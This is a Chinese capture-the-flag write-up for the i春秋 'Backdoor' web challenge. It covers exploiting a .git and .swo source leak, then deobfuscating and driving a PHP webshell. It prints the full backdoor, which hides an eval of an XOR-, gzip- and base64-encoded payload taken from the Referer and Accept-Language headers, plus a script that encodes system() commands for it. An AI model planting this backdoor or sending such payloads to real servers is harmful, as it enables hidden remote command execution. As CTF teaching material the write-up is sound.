码迷,mamicode.com
首页 > Web开发 > 详细

i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

时间:2018-10-22 01:12:09      阅读:568      评论:0      收藏:0      [点我收藏+]

标签:多次   不能   下载   脚本   pre   class   搭建   system   服务器   

0x00:

打开题目,题目中告诉我们这题是文件泄露。

技术分享图片

0x01:

通过扫描目录,发现可以扫到的有3个文件

index.php 
flag.php
robots.txt

但是浏览flag.php它告诉我们这不是真正的flag

技术分享图片

又联系到题目文件泄露,于是测试.swp .swo .bak等备份文件后缀均无果。最后发现是.git泄露。

我们浏览这个url

http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/.git/

技术分享图片

注意到这里返回的是403(请求被拒绝),而不是404(访问无效)。那么这里就可以利用git泄露的脚本下载下来源文件。

技术分享图片

这里使用的是rip-git.pl这个脚本,github地址:https://github.com/kost/dvcs-ripper

注:这里用rip-git.pl下载下来的文件是可以查看它上传github的历史记录的。而Githack这个工具虽然能下载文件,但是不能查看历史记录

查看flag.php

技术分享图片

查看flag.php的日志

git log flag.php

技术分享图片

可以看到他修改了很多次flag.php这个文件,我们回查一下上一次的修改时的内容

git diff 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 flag.php

技术分享图片

commit的值是test那次的值,可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php}

 

0x02:

 上面那个flag还不是真正的flag,于是我们访问flag提示的文件

http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/b4ckdo0r.php

得到下面信息,查看源码也啥都没有:

技术分享图片

最后测出来是.swo文件备份,我们把备份下载下来

技术分享图片

因为打开是乱码,我把它在下载好后,拖到我的kali虚拟机的桌面上,然后用vim打开备份文件的方式打开

vim -r .b4ckdo0r.php.swo

技术分享图片

因为为了研究这个代码,又没法更改备份文件,我们用vim的复制功能把这里面的内容复制到一个新的php文件里面,然后放回我的windows下(因为我很喜欢用windows)

这个代码是混淆过的,但主要看$y和$L和$v这3个变量,分别对应的是

$y = create_function  //这里去掉了字符串中的字母b

$L = 把上面的如 $c, $f等字符串变量中的“)m“给去掉

$v = create_function(‘‘, $L); 这里是生成一个不带参数的匿名函数,函数内容就是$L的内容。

然后运行$v()函数

根据这个逻辑解开混淆后$L的内容:

技术分享图片

把内容打印到我们本地搭建的服务器上,然后查看源码,并整理下就是b4ckdo0r.php源码内容

注意:这里一定要看源码,因为中间有一部分"<"被当做html的标签了,没法完整显示

web本来的页面这里的代码很奇怪

技术分享图片

查看源码发现原因,是因为<被当做标签起始了

技术分享图片

 整理后源码如下:

<?php 
$kh="4f7f"; 
$kf="28d7"; 
function x($t,$k) { 
    $c=strlen($k); 
    $l=strlen($t); 
    $o=""; 
    for($i=0; $i<$l;) { 
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) { 
            $o.=$t{$i}^$k{$j}; 
        } 
    } 
    return $o; 
}
$r=$_SERVER; 
$rr=@$r["HTTP_REFERER"]; 
$ra=@$r["HTTP_ACCEPT_LANGUAGE"]; 
if($rr&&$ra) { 
    $u=parse_url($rr); 
    parse_str($u["query"],$q); 
    $q=array_values($q); 
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); 
    if($q&&$m) { 
        @session_start(); 
        $s=&$_SESSION; 
        $ss="substr"; 
        $sl="strtolower"; 
        $i=$m[1][0].$m[1][1]; 
        $h=$sl($ss(md5($i.$kh),0,3)); 
        $f=$sl($ss(md5($i.$kf),0,3)); 
        $p=""; 
        for($z=1; $z<count($m[1]); $z++)
            $p.=$q[$m[2][$z]]; 
        if(strpos($p,$h)===0) { 
            $s[$i]=""; $p=$ss($p,3); 
        } 
        if(array_key_exists($i,$s)) { 
            $s[$i].=$p; 
            $e=strpos($s[$i],$f); 
            if($e) { 
                $k=$kh.$kf; 
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); 
                $o=ob_get_contents(); 
                ob_end_clean(); 
                $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); 
                @session_destroy(); 
            } 
        } 
    } 
}

解释一下这里的代码(因为我比较菜,通过每一步把变量输出,最后弄清楚搞了3个小时左右)

x($t, $k)函数是个异或函数,第一个参数和第二个参数按位对应异或,如果第二个参数全部异或了一遍,第一个还没结束,又从第二个参数头部从头开始。

$rr是通过http报头的Referer参数传入,我们可控

$rs是通过http报头的accept-language参数传入,我们可控

这里先介绍下accpet-language吧,举个栗子

技术分享图片

这里的zh-CN是默认语言,之后每个值以“,(逗号)”隔开,格式为“ 语言;q=权重 ”

那么preg_match_all这个正则所做的事,看着很复杂,我们直接把他输出到自己服务器的web上吧

技术分享图片

是一个二维数组,然后$i会取[1][0]和[1][1]的组合值

$h和f分别是 ($i . $kh)和($i . $kf)的md5值的前3个字符这里算出来是675和a3e

技术分享图片

这一段代码会看language的语言有多少个,然后$p是以权重的小数部分值为下标,然后取Referer的url中的对应下标的参数的值的组合

这里举个例子,a=1中的1 就是$q[$m[2][0]],b=2中的2 就是$q[$m[2][1]]

技术分享图片

然后就是判断$p这个变量前3个是不是675,后3个是不是a3e,最后我们的构造为 "675 + payload + a3e"

然后就是传到eval函数里面了,这里我们要通过eval函数来读目录,然后查看flag

eval中用了很多编码方式,也用到了自定的x($t, $k)这个异或函数,我们依次测试下顺序,就能正确的生成我们的payload,来构造system("ls");

这里异或的规律

a = b ^ c那么 b = a ^ c;这是一个很简单的规律,所以x函数即使编码函数,也是解码函数

最后附上我生成payload和解码返回值的内容的php代码

<?php

function x($t,$k) { 
    $c=strlen($k); 
    $l=strlen($t); 
    $o=""; 
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) { 
            $o.= $t{$i} ^ $k{$j}; 
        } 
    } 
    return $o; 
}

function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, ‘4f7f28d7‘);
    $str = gzuncompress($str);
    echo $str . "<br>";
}

function input($cmd){
    $str = ‘system("‘ . $cmd . ‘");‘;
    $t1 = gzcompress($str);
    echo ‘$t1 = ‘ . $t1 . "<br>";
    $t2 = x($t1, ‘4f7f28d7‘);
    echo ‘$t2 = ‘ . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo ‘$t3 = ‘ . $t3 . "<br>";
    return $t3;
}

$ra=‘zh-CN,zh;q=0.0‘;
input(‘ls‘);
//get_answer(‘‘);

?>

把命令输入input里面,运行这个php脚本就会生成ls命令的payload,而我们accep-language所填内容为 ‘zh-CN,zh;q=0.0‘

技术分享图片

 

 于是我们第一次的payload为:

技术分享图片

将返回内容填到我们的脚本中,生成解码后的内容

技术分享图片

然后生成cat this_i5_flag.php的payload,最后flag在源码中

技术分享图片

技术分享图片

注:这里我审计代码的时候是采用比较笨的方法,因为源码我们下载了下来,那么我么就可以任意修改,我是把每个地方有值的变化,就直接输出出来,方便更加透彻的理解流程。

i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

标签:多次   不能   下载   脚本   pre   class   搭建   system   服务器   

原文地址:https://www.cnblogs.com/sijidou/p/9827720.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!